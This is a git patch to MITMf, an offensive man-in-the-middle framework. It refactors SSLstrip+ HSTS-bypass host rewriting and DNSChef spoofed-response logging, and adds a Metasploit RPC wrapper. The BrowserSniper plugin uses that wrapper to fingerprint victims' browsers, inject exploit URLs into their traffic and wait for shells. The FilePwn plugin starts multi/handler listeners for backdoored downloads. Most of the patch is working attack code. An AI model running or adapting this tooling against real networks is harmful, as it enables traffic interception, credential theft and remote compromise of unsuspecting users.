From 563a8d37c13c04f74b51ee590cf757a8237eeb16 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 19 May 2015 00:00:40 +0200 Subject: [PATCH] Fixed a bug in SSLstrip+ code, when redirecting to certain sites Created a wrapper class around Msfrpc to limit code re-use when interacting with msf --- core/dnschef/DNSchef.py | 14 +++--- core/msfrpc.py | 52 ++++++++++++++++++++ core/sslstrip/ClientRequest.py | 8 +-- core/sslstrip/SSLServerConnection.py | 6 ++- core/sslstrip/ServerConnection.py | 10 ++-- core/sslstrip/URLMonitor.py | 42 ++++++++-------- plugins/BrowserProfiler.py | 8 +-- plugins/BrowserSniper.py | 73 +++++++++------------------- plugins/FilePwn.py | 50 +++++++------------ plugins/Screenshotter.py | 4 +- 10 files changed, 141 insertions(+), 126 deletions(-) diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py index a65d8cd..69f3681 100755 --- a/core/dnschef/DNSchef.py +++ b/core/dnschef/DNSchef.py @@ -71,7 +71,7 @@ class DNSHandler(): d = DNSRecord.parse(data) except Exception, e: - dnschef_logger.info("{} ERROR: invalid DNS request".format(self.client_address[0])) + dnschef_logger.info("{} [DNSChef] Error: invalid DNS request".format(self.client_address[0])) else: # Only Process DNS Queries @@ -115,7 +115,7 @@ class DNSHandler(): # Create a custom response to the query response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) - dnschef_logger.info("{} cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) + dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} to {}".format(self.client_address[0], qtype, qname, fake_record)) # IPv6 needs additional work before inclusion: if qtype == "AAAA": @@ -184,7 +184,7 @@ class DNSHandler(): response = response.pack() elif qtype == "*" and not None in fake_records.values(): - dnschef_logger.info("{} cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) + dnschef_logger.info("{} [DNSChef] Cooking the response of type '{}' for {} with {}".format(self.client_address[0], "ANY", qname, "all known fake records.")) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) @@ -259,7 +259,7 @@ class DNSHandler(): # Proxy the request else: - dnschef_logger.debug("[DNSChef] {} proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) + dnschef_logger.debug("{} [DNSChef] Proxying the response of type '{}' for {}".format(self.client_address[0], qtype, qname)) nameserver_tuple = random.choice(nameservers).split('#') response = self.proxyrequest(data, *nameserver_tuple) @@ -339,13 +339,13 @@ class DNSHandler(): sock.close() except Exception, e: - dnschef_logger.warning("could not proxy request: {}".format(e)) + dnschef_logger.warning("[DNSChef] Could not proxy request: {}".format(e)) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): - dnschef_logger.info("{} resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) + dnschef_logger.info("{} [DNSChef] Resolving '{}' to '{}' for HSTS bypass".format(self.client_address[0], fake_domain, real_domain)) response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) @@ -482,7 +482,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - shutdown("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/msfrpc.py b/core/msfrpc.py index f722875..51e51c2 100644 --- a/core/msfrpc.py +++ b/core/msfrpc.py @@ -24,6 +24,9 @@ import msgpack import logging import requests +from core.configwatcher import ConfigWatcher +from core.utils import shutdown + logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message class Msfrpc: @@ -84,6 +87,55 @@ class Msfrpc: except: raise self.MsfAuthError("MsfRPC: Authentication failed") +class Msf: + ''' + This is just a wrapper around the Msfrpc class, + prevents a lot of code re-use throught the framework + + ''' + def __init__(self): + try: + self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']}) + self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass']) + except Exception as e: + shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e)) + + def version(self): + return self.msf.call('core.version')['version'] + + def jobs(self): + return self.msf.call('job.list') + + def jobinfo(self, pid): + return self.msf.call('job.info', [pid]) + + def killjob(self, pid): + return self.msf.call('job.kill', [pid]) + + def findpid(self, name): + jobs = self.jobs() + for pid, jobname in jobs.iteritems(): + if name in jobname: + return pid + return None + + def sessions(self): + return self.msf.call('session.list') + + def sessionsfrompeer(self, peer): + sessions = self.sessions() + for n, v in sessions.iteritems(): + if peer in v['tunnel_peer']: + return n + return None + + def sendcommand(self, cmd): + #Create a virtual console + console_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [console_id, cmd]) + if __name__ == '__main__': # Create a new instance of the Msfrpc client with the default options diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 67b6dba..8d2d30e 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -69,7 +69,7 @@ class ClientRequest(Request): if self.hsts: if 'referer' in headers: - real = self.urlMonitor.getHstsConfig()[0] + real = self.urlMonitor.real if len(real) > 0: dregex = re.compile("({})".format("|".join(map(re.escape, real.keys())))) headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) @@ -120,7 +120,7 @@ class ClientRequest(Request): client = self.getClientIP() path = self.getPathFromUri() url = 'http://' + host + path - self.uri = url # set URI to absolute + self.uri = url # set URI to absolute if self.content: self.content.seek(0,0) @@ -129,8 +129,8 @@ class ClientRequest(Request): if self.hsts: - host = self.urlMonitor.URLgetRealHost(str(host)) - real = self.urlMonitor.getHstsConfig()[0] + host = self.urlMonitor.URLgetRealHost(str(host)) + real = self.urlMonitor.real patchDict = self.urlMonitor.patchDict url = 'http://' + host + path self.uri = url # set URI to absolute diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index f0db397..4015276 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -16,7 +16,9 @@ # USA # -import logging, re, string +import logging +import re +import string from ServerConnection import ServerConnection from URLMonitor import URLMonitor @@ -58,7 +60,7 @@ class SSLServerConnection(ServerConnection): if v[:7].lower()==' domain': dominio=v.split("=")[1] mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) - real = self.urlMonitor.getHstsConfig()[1] + real = self.urlMonitor.real if dominio in real: v=" Domain=%s"%real[dominio] mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 32ee79e..74868f4 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -105,7 +105,13 @@ class ServerConnection(HTTPClient): def connectionMade(self): mitmf_logger.debug("[ServerConnection] HTTP connection made.") - self.clientInfo = hap.simple_detect(self.headers['user-agent']) + try: + self.clientInfo = hap.simple_detect(self.headers['user-agent']) + except KeyError as e: + mitmf_logger.debug("[ServerConnection] Client didn't send UA with request") + self.clientInfo = None + pass + self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -214,9 +220,7 @@ class ServerConnection(HTTPClient): nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl)) sustitucion[url] = nuevaurl - #data.replace(url,nuevaurl) - #data = self.urlMonitor.DataReemplazo(data) if len(sustitucion)>0: dregex = re.compile("({})".format("|".join(map(re.escape, sustitucion.keys())))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index f306db7..54b4bd5 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -32,6 +32,8 @@ class URLMonitor: # Start the arms race, and end up here... javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] _instance = None + sustitucion = dict() + real = dict() patchDict = { 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', @@ -107,23 +109,24 @@ class URLMonitor: port = 443 if self.hsts: - if not self.getHstsConfig[1].has_key(host): + self.updateHstsConfig() + + if not self.sustitucion.has_key(host): lhost = host[:4] if lhost=="www.": - self.getHstsConfig[1][host] = "w"+host - self.getHstsConfig[0]["w"+host] = host + self.sustitucion[host] = "w"+host + self.real["w"+host] = host else: - self.getHstsConfig[1][host] = "web"+host - self.getHstsConfig[0]["web"+host] = host - mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.getHstsConfig[1][host])) + self.sustitucion[host] = "web"+host + self.real["web"+host] = host + mitmf_logger.debug("[URLMonitor][HSTS] SSL host ({}) tokenized ({})".format(host, self.sustitucion[host])) url = 'http://' + host + path - #mitmf_logger.debug("HSTS stripped URL: %s %s"%(client, url)) self.strippedURLs.add((client, url)) self.strippedURLPorts[(client, url)] = int(port) - return 'http://'+ self.getHstsConfig[1][host] + path + return 'http://'+ self.sustitucion[host] + path else: url = method + host + path @@ -134,15 +137,10 @@ class URLMonitor: def setFaviconSpoofing(self, faviconSpoofing): self.faviconSpoofing = faviconSpoofing - def getHstsConfig(self): - sustitucion = dict() - real = dict() - - for k,v in ConfigWatcher.getInstance().getConfig()['SSLstrip+']: - sustitucion[k] = v - real[v] = k - - return (real, sustitucion) + def updateHstsConfig(self): + for k,v in ConfigWatcher.getInstance().config['SSLstrip+'].iteritems(): + self.sustitucion[k] = v + self.real[v] = k def setHstsBypass(self): self.hsts = True @@ -158,10 +156,12 @@ class URLMonitor: def URLgetRealHost(self, host): mitmf_logger.debug("[URLMonitor][HSTS] Parsing host: {}".format(host)) - - if self.getHstsConfig()[0].has_key(host): - mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.getHstsConfig()[0][host])) - return self.getHstsConfig()[0][host] + + self.updateHstsConfig() + + if self.real.has_key(host): + mitmf_logger.debug("[URLMonitor][HSTS] Found host in list: {}".format(self.real[host])) + return self.real[host] else: mitmf_logger.debug("[URLMonitor][HSTS] Host not in list: {}".format(host)) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 19225a3..aa831f4 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -39,11 +39,11 @@ class BrowserProfiler(Inject, Plugin): self.html_payload = self.get_payload() def post2dict(self, post): #converts the ajax post to a dic - dict = {} + d = dict() for line in post.split('&'): t = line.split('=') - dict[t[0]] = t[1] - return dict + d[t[0]] = t[1] + return d def clientRequest(self, request): #Handle the plugin output @@ -62,4 +62,4 @@ class BrowserProfiler(Inject, Plugin): def get_payload(self): plugindetect = open("./core/javascript/plugindetect.js", 'r').read() - return '' + return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py index 0eb7408..e74c405 100644 --- a/plugins/BrowserSniper.py +++ b/plugins/BrowserSniper.py @@ -23,7 +23,7 @@ import random import logging from time import sleep -from core.msfrpc import Msfrpc +from core.msfrpc import Msf from core.utils import SystemConfig, shutdown from plugins.plugin import Plugin from plugins.BrowserProfiler import BrowserProfiler @@ -42,20 +42,11 @@ class BrowserSniper(BrowserProfiler, Plugin): self.msfip = SystemConfig.getIP(options.interface) self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - msfcfg = self.config['MITMf']['Metasploit'] - self.rpcip = msfcfg['rpcip'] - self.rpcpass = msfcfg['rpcpass'] - #Initialize the BrowserProfiler plugin BrowserProfiler.initialize(self, options) - try: - self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary - self.msf.login('msf', self.rpcpass) - version = self.msf.call('core.version')['version'] - self.tree_info.append("Connected to Metasploit v{}".format(version)) - except Exception: - shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + msfversion = Msf().version() + self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) def startThread(self, options): self.snipe() @@ -84,11 +75,7 @@ class BrowserSniper(BrowserProfiler, Plugin): cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" - #Create a virtual console - console_id = self.msf.call('console.create')['id'] - - #write the cmd to the newly created console - self.msf.call('console.write', [console_id, cmd]) + Msf().sendcommand(cmd) return (rand_url, rand_port) @@ -140,7 +127,7 @@ class BrowserSniper(BrowserProfiler, Plugin): elif details['Plugin'].lower() == 'flash': - if (flash is not None) and (java in details['PluginVersions']): + if (flash is not None) and (flash in details['PluginVersions']): exploits.append(exploit) mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) @@ -154,31 +141,23 @@ class BrowserSniper(BrowserProfiler, Plugin): #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds #Will also make sure the shell actually came from the box that we targeted - #probably a much cleaner way of doing this :/ mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) - exit_loop = False + poll_n = 1 - while poll_n <= 30: - - if exit_loop is True: - break - - sessions = self.msf.call('session.list') - if sessions: - for k, v in sessions.iteritems(): - if ip in sessions[k]['tunnel_peer']: - mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) - self.sploited_ips.append(ip) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - exit_loop = True - break + msf = Msf() + while poll_n != 30: + if msf.sessionsfrompeer(ip): + mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + return + poll_n += 1 sleep(2) - if exit_loop is False: #We didn't get a shell :( - mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) - + mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) self.html_payload = self.get_payload() # restart the BrowserProfiler plugin def snipe(self): @@ -196,26 +175,20 @@ class BrowserSniper(BrowserProfiler, Plugin): elif exploits and (vic_ip not in self.sploited_ips): mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) - inject_payload = '' + msf = Msf() for exploit in exploits: - jobs = self.msf.call('job.list') #get running jobs - if jobs: - for pid, name in jobs.iteritems(): - info = self.msf.call('job.info', [pid]) - if (exploit in info['name']): - mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) - url = info['uripath'] #get the url assigned to the exploit - inject_payload += "".format(self.msfip, msfport, url) - else: - url, port = self._setupExploit(exploit, msfport) - inject_payload += "".format(self.msfip, port, url) + pid = msf.findpid(exploit) + if pid: + mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) + url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit + inject_payload += "".format(self.msfip, msfport, url) else: url, port = self._setupExploit(exploit, msfport) inject_payload += "".format(self.msfip, port, url) - + self.injectAndPoll(vic_ip, inject_payload) sleep(1) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 64f977a..2d40f54 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -68,7 +68,7 @@ import multiprocessing from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin -from core.msfrpc import Msfrpc +from core.msfrpc import Msf from core.utils import shutdown from plugins.plugin import Plugin from tempfile import mkstemp @@ -126,26 +126,15 @@ class FilePwn(Plugin): self.zipblacklist = self.userConfig['ZIP']['blacklist'] self.tarblacklist = self.userConfig['TAR']['blacklist'] - #Metasploit options - msfcfg = self.config['MITMf']['Metasploit'] - rpcip = msfcfg['rpcip'] - rpcpass = msfcfg['rpcpass'] + msfversion = Msf().version() + self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - try: - msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary - msf.login('msf', rpcpass) - version = msf.call('core.version')['version'] - self.tree_info.append("Connected to Metasploit v{}".format(version)) - - t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,)) - t.setDaemon(True) - t.start() - except Exception: - shutdown("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + t = threading.Thread(name='setupMSF', target=self.setupMSF) + t.setDaemon(True) + t.start() - def setupMSF(self, msf): - - jobs = msf.call('job.list') + def setupMSF(self): + msf = Msf() for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) @@ -154,21 +143,16 @@ class FilePwn(Plugin): cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" - if jobs: - for pid, name in jobs.iteritems(): - info = msf.call('job.info', [pid]) - if (info['name'] != "Exploit: multi/handler") or (info['datastore']['payload'] != config["MSFPAYLOAD"]) or (info['datastore']['LPORT'] != config["PORT"]) or (info['datastore']['lhost'] != config['HOST']): - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) + pid = msf.findpid('multi/handler') + if pid: + info = msf.jobinfo(pid) + if (info['datastore']['payload'] == config["MSFPAYLOAD"]) and (info['datastore']['LPORT'] == config["PORT"]) and (info['datastore']['lhost'] != config['HOST']): + msf.killjob(pid) + msf.sendcommand(cmd) + else: + msf.sendcommand(cmd) else: - #Create a virtual console - c_id = msf.call('console.create')['id'] - - #write the cmd to the newly created console - msf.call('console.write', [c_id, cmd]) + msf.sendcommand(cmd) def onConfigChange(self): self.initialize(self.options) diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py index 5e32555..eae51ee 100644 --- a/plugins/Screenshotter.py +++ b/plugins/Screenshotter.py @@ -37,7 +37,7 @@ class ScreenShotter(Inject, Plugin): has_opts = True def initialize(self, options): - self.interval = options.interval + self.interval = 10 or options.interval Inject.initialize(self, options) self.html_payload = self.get_payload() @@ -60,4 +60,4 @@ class ScreenShotter(Inject, Plugin): return '' def pluginOptions(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file